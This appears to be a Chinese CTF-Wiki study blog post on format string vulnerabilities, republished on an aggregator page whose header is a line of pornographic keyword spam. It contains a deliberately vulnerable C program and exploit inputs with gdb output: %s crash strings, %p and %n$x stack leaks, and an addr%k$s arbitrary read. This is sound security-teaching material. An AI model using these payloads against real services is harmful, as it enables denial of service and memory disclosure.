日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

跟着CTF-Wiki学pwn|格式化字符串(1)

發布時間:2024/3/26 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 跟着CTF-Wiki学pwn|格式化字符串(1) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 格式化字符串漏洞原理介紹
    • 格式化字符串函數介紹
      • 格式化字符串函數
      • 格式化字符串
      • 參數
    • 格式化字符串漏洞原理
  • 格式化字符串漏洞利用
    • 程序崩潰
    • 泄露內存
        • 泄露棧內存
          • 獲取棧變量數值
          • 獲取棧變量對應字符串
        • 泄露任意地址內存
      • 覆蓋內存
        • 覆蓋棧內存
          • 確定覆蓋地址
          • 確定相對偏移
          • 進行覆蓋
        • 覆蓋任意地址內存
          • 覆蓋小數字
          • 覆蓋大數字

格式化字符串漏洞原理介紹

首先,對格式化字符串漏洞的原理進行簡單介紹。

格式化字符串函數介紹

格式化字符串函數可以接受可變數量的參數,并將第一個參數作為格式化字符串,根據其來解析之后的參數。通俗來說,格式化字符串函數就是將計算機內存中表示的數據轉化為我們人類可讀的字符串格式。幾乎所有的C/C++程序都會利用格式化字符串函數來輸出信息,調試程序,或者處理字符串。一般來說,格式化字符串在利用的時候主要分為三個部分:

  • 格式化字符串函數
  • 格式化字符串
  • 后續參數(可選)

以printf函數舉例:

格式化字符串函數

常見的格式化字符串函數有:

  • 輸入

    • scanf
  • 輸出

    函數基本介紹
    printf輸出到stdout
    fprintf輸出到指定FILE流
    vpirntf根據參數列表格式化輸出到stdout
    vfprintf根據參數列表格式化輸出到指定FILE流
    sprintf輸出到字符串
    snprintf輸出指定字節數到字符串
    vsprintf根據參數列表格式化輸出到字符串
    vsnprintf根據參數列表格式化輸出指定字節到字符串
    setproctitle設置argv
    syslog輸出日志
    err,verr,warn,vwarn等

格式化字符串

格式化字符串的基本格式如下:

%[parameter][flags][field width][.precision][length]type

format string-Wikipedia

  • parameter(可選)

    • n$,獲取格式化字符串中的第n個參數
  • flags(可為0個或多個)

    字符描述
    +總是表示有符號數值的’+‘或’-'號,缺省情況是忽略正數的符號。僅適用于數值類型。
    空格使得有符號數的輸出如果沒有正負號或者輸出0個字符,則前綴1個空格。如果空格與’+'同時出現,則空格說明符被忽略。
    -左對齊。缺省情況是右對齊。
    #對于’g’與’G’,不刪除尾部0以表示精度。對于’f’,‘F’,‘e’,‘E’,‘g’,‘G’,總是輸出小數點。對于’o’,‘x’,‘X’,在非0數值前分別輸出前綴0,0x,and 0X表示數制。
    0如果width選項前綴以0,則在左側用0填充直至達到寬度要求。例如printf("%2d", 3)輸出"3",而printf("%02d", 3)輸出"03"。如果0與-均出現,則0被忽略,即左對齊依然用空格填充。
  • field width

    • 輸出的最小寬度
  • precision

    • 輸出的最大長度
  • length,輸出的長度

    • hh,輸出一個字節
    • h,輸出一個雙字節
  • type

    • d/i,有符號整數
    • u,無符號整數
    • x/X,16進制unsigned int。x使用小寫字母;X使用大寫字母。如果指定了精度,則輸出的數字不足時在左側補0。默認精度為1.精度為0且值為0,則輸出為空。
    • o,8進制unsigned int。如果指定了精度,則輸出的數字不足時在左側補0.默認精度為1.精度為0且值為0,則輸出為空。
    • s,如果沒有用l標志,輸出null結尾字符串直到精度規定的上限;如果沒有指定精度,則輸出所有字節。如果用了l標志,則對應函數參數指向wchar_t型的數組,輸出時把每個寬字符轉化為多字節字符,相當于調用wcrtomb函數。
    • c,如果沒有用l標志,把int參數轉為unsigned char型輸出;如果用了l標志,把wint_t參數轉為包含兩個元素的wchart_t數組,其中第一個元素包含要輸出的字符,第二個元素為null寬字符。
    • p,void *型,輸出對應變量的值。printf("%p",a)用地址的格式打印變量a的值,printf("%p",&a)打印變量a所在的地址。
    • n,不輸出字符,但是把已經成功輸出的字符個數寫入對應的整型指針參數所指的變量。
    • %,’%'字面值,不接受任何flags,width。

參數

即相應的要輸出的變量。

格式化字符串漏洞原理

上面說到,格式化字符串函數是根據格式化字符串函數來進行解析的。**那么相應的要被解析的參數的個數也自然是由這個格式化字符串所控制。**比如說’%s’表明我們會輸出一個字符串參數。

我們繼續以上面的為例子進行介紹

對于這樣的例子,在進入printf函數之前(即還沒有調用printf函數),棧上的布局由高地址到低地址依次為:

some value #假設為某個未知的值 3.14 123456 addr of "red" addr of format string: Color %s...

在進入printf之后,函數首先獲取第一個參數,一個一個讀取其字符串會遇到兩種情況:

  • 當前字符不是 %,直接輸出到相應標準輸出。
  • 當前字符是%,繼續讀取下一個字符
    • 如果沒有字符,報錯
    • 如果下一個字符是%,輸出%
    • 否則根據相應的字符,獲取相應的參數,對其進行解析并輸出

假設在編寫程序的時候,寫成了下面的樣子

printf("Color %s,Number %d,Float %4.2f");

即沒有提供參數,程序應該如何運行?

程序照樣會運行,會將棧上存儲格式化字符串地址上面的三個變量分別解析為

  • 1.解析其地址對應的字符串
  • 2.解析其內容對應的整型值
  • 3.解析其內容對應的浮點值

對于2,3來說倒還無妨,但是對于1來說,如果提供了一個不可訪問地址,比如0,那么程序就會因此而崩潰。

這基本就是格式化字符串漏洞的基本原理了。


格式化字符串漏洞利用

其實,在上一部分,我們展示了格式化字符串漏洞的兩個利用手段

  • 使程序崩潰,因為%s對應的參數地址不合法的概率比較大。
  • 查看進程內容,根據%d,%f輸出了棧上的內容。

下面我們會對于每一方面進行更加詳細的解釋。

程序崩潰

通常來說,利用格式化字符串漏洞使得程序崩潰是最為簡單的利用方式,因為我們值需要輸入若干個%s即可

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

這是因為棧上不可能每個值都對應了合法的地址,所以總是會有某個地址可以使得程序崩潰。這一利用,雖然攻擊者本身似乎并不能控制程序,但是這樣卻可以造成程序不可用。比如說,如果遠程服務有一個格式化字符串漏洞,那么我們就可以攻擊其可用性,使服務崩潰,進而使得用戶不能夠訪問。

泄露內存

利用格式化字符串的漏洞,我們還可以獲取我們所想要輸出的內容。一般會有如下幾種操作:

  • 泄露棧內存
    • 獲取某個變量的值
    • 獲取某個變量對應地址的內存
  • 泄露任意地址內存
    • 利用GOT表得到libc函數地址,進而獲取libc,進而獲取其它libc函數地址
    • 盲打,dump整個程序,獲取有用信息

泄露棧內存

例如,給定如下程序

#include <stdio.h> int main() {char s[100];int a = 1, b = 0x22222222, c = -1;scanf("%s", s);printf("%08x.%08x.%08x.%s\n", a, b, c, s);printf(s);return 0; }

然后編譯,

devil@ubuntu:~$ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c In file included from /usr/include/stdio.h:27:0,from leakmemory.c:1: /usr/include/features.h:367:25: fatal error: sys/cdefs.h: No such file or directory compilation terminated.

這是什么奇怪的報錯啊…

devil@ubuntu:~$ gcc -fno-stack-protector -no-pie -o leakmemory leakmemory.cleakmemory.c: In function ‘main’: leakmemory.c:7:9: warning: format not a string literal and no format arguments [-Wformat-security]printf(s);

把-m32去掉就好了。

可以看出,編譯器指出了我們的程序中沒有給出格式化字符串的參數問題。下面我們來看一下如何獲取對應的棧內存。

根據 C 語言的調用規則,格式化字符串函數會根據格式化字符串直接使用棧上自頂向上的變量作為其參數 (64 位會根據其傳參的規則進行獲取)。這里我們主要介紹 32 位。

獲取棧變量數值

首先,我們可以利用格式化字符串來獲取棧上變量的數值。我們可以試一下…

結果是運行沒反應,考慮到可能是-m32參數沒加的原因,上網查了之前的報錯,可能是libc的庫有問題。

sudo apt-get purge libc6-dev sudo apt-get install libc6-dev sudo apt-get install libc6-dev-i386

運行還是沒反應…我突然發現原來程序要先輸入…WSSB

devil@ubuntu:~$ ./leakmemory %08x.%08x.%08x 00000001.22222222.ffffffff.%08x.%08x.%08x ffab5f48.f7f07918.00f0b5ff

可以看到,我們確實得到了一些內容。為了更加細致的觀察,我們利用 GDB 來調試一下,以便于驗證我們的想法,這里刪除了一些不必要的信息,我們只關注代碼段以及棧。

首先,啟動程序,將斷點下載 printf 函數處

devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %08x.%08x.%08x

敲擊回車,程序繼續運行,可以看出程序首先斷在了第一次調用printf函數的位置

Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%08x.%08x.%08x" $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe4│+0x0018: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()

可以看出,此時已經進入了printf函數中,**棧中的第一個變量為返回地址,第二個變量為格式化字符串的地址,第三個變量為a的值,第四個變量為b的值,第五個變量為c的值,第六個變量為我們輸入的格式化字符串對應的地址。**繼續運行程序。

gef? c Continuing. 00000001.22222222.ffffffff.%08x.%08x.%08x

可以看出,程序確實輸出了每一個變量對應的數值,并且斷在了下一個printf處

Breakpoint 1, __printf (format=0xffffd008 "%08x.%08x.%08x") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%08x.%08x.%08x" $ebx : 0x0 $ecx : 0x7fffffd6 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe4│+0x0008: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%08x.%08x.%08x") [#1] 0x804852c → main()

此時,由于格式化字符串為%x%x%x,所以,程序會將棧上的第三個地址開始處(也就是0xffffcfe4)及其以后的數值分別作為第一、第二、第三個參數按照int型進行解析,分別輸出。繼續運行,我們可以得到如下結果,和想象中一致。

gef? c Continuing. ffffd008.f7ffd918.00f0b5ff[Inferior 1 (process 4193) exited normally]

當然,我們也可以使用%p來獲取數據,如下

gef? r Starting program: /home/devil/leakmemory %p.%p.%p 00000001.22222222.ffffffff.%p.%p.%p 0xffffd008.0xf7ffd918.0xf0b5ff[Inferior 1 (process 4253) exited normally]

這里需要注意的是,并不是每次得到的結果都一樣 ,因為棧上的數據會因為每次分配的內存頁不同而有所不同,這是因為棧是不對內存頁做初始化的。

那么有沒有辦法直接獲取棧中被視為第n+1個參數的值呢?

方法如下:

%n$x

利用如上的字符串,我們就可以獲取到對應的第 n+1 個參數的數值。為什么這里要說是對應第 n+1 個參數呢?這是因為格式化參數里面的 n 指的是該格式化字符串對應的第 n 個輸出參數,那相對于輸出函數來說,就是第 n+1 個參數了。

我們再次以gdb調試一下。

devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %3$xBreakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%3$x" $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → "%3$x" 0xffffcfe4│+0x0018: 0xffffd008 → "%3$x" 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()gef? c Continuing. 00000001.22222222.ffffffff.%3$xBreakpoint 1, __printf (format=0xffffd008 "%3$x") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%3$x" $ebx : 0x0 $ecx : 0x7fffffe0 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → "%3$x" 0xffffcfe4│+0x0008: 0xffffd008 → "%3$x" 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%3$x") [#1] 0x804852c → main()gef? c Continuing. f0b5ff[Inferior 1 (process 4290) exited normally]

棧上第一個值是返回地址,第二個值是格式化字符串地址,第三個是格式化字符串第一個參數,第四個是格式化字符串第二個參數,第五個是格式化字符串第三個參數,也就是我們要輸出的0x00f0b5ff。注意,格式化字符串的第三個參數是printf函數輸出的第四個參數。

獲取棧變量對應字符串

此外,我們還可以獲得棧變量對應的字符串,這其實就是需要用到 %s 了。這里還是使用上面的程序,進行 gdb 調試,如下

devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %sBreakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0018: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()gef? c Continuing. 00000001.22222222.ffffffff.%sBreakpoint 1, __printf (format=0xffffd008 "%s") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x7fffffe2 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0008: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%s") [#1] 0x804852c → main()gef? c Continuing. %s[Inferior 1 (process 4344) exited normally]

可以看出,在第二次執行printf函數的時候,確實將0xffffcfe4處的變量視為字符串變量,輸出了其數值所對應的地址處的字符串。

當然,并不是所有這樣的都會正常運行,如果對應的變量不能夠被解析為字符串地址,那么,程序就會直接崩潰。

此外,我們也可以指定獲取棧上第幾個參數作為格式化字符串輸出,比如我們指定第 printf 的第 4 個參數,如下,此時程序就不能夠解析,就崩潰了。

devil@ubuntu:~$ ./leakmemory %3$s 00000001.22222222.ffffffff.%3$s Segmentation fault (core dumped)

小技巧總結

  • 利用%x來獲取對應棧的內存,但建議使用%p,可以不用考慮位數的區別。
  • 利用%s來獲取變量所對應地址的內容,只不過有零截斷。
  • 利用%orderx來獲取指定參數的值,利用x來獲取指定參數的值,利用%orderxs來獲取指定參數對應地址的內容。
  • 泄露任意地址內存

    可以看出,在上面無論是泄露棧上連續的變量,還是說泄露指定的變量值,我們都沒能完全控制我們所要泄露的變量的地址。這樣的泄露固然有用,可是卻不夠強力有效。有時候,我們可能會想要泄露某一個 libc 函數的 got 表內容,從而得到其地址,進而獲取 libc 版本以及其他函數的地址,這時候,能夠完全控制泄露某個指定地址的內存就顯得很重要了。那么我們究竟能不能這樣做呢?自然也是可以的啦。

    我們再仔細回想一下,一般來說,在格式化字符串漏洞中,我們所讀取的格式化字符串在棧上的(因為是某個函數的局部變量,本例中s是main函數的局部變量)。那么也就是說,在調用輸出函數的時候,其實,**第一個參數的值其實就是該格式化字符串的地址。**我們選擇上面的某個函數調用為例

    Breakpoint 1, __printf (format=0xffffd008 "%s") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x7fffffe2 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0008: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2

    可以看出在棧上的第二個變量就是我們的格式化字符串地址0xffffd008,同時該地址存儲的也確實是"%s"格式化字符串內容。

    那么由于我們可以控制該格式化字符串,如果我們知道該格式化字符串在輸出函數調用時是第幾個參數,這里假設該格式化字符串相對函數調用為第 k 個參數。那我們就可以通過如下的方式來獲取某個指定地址 addr 的內容。

    addr%k$s

    注:在這里,如果格式化字符串在棧上,那么我們就一定能確定格式化字符串的相對偏移,這是因為在函數調用的時候棧指針至少地域格式化字符串地址8字節或者16字節。

    下面就是如何確定該格式化字符串為第幾個參數的問題了,我們可以通過如下方式確定

    [tag]%p%p%p%p...

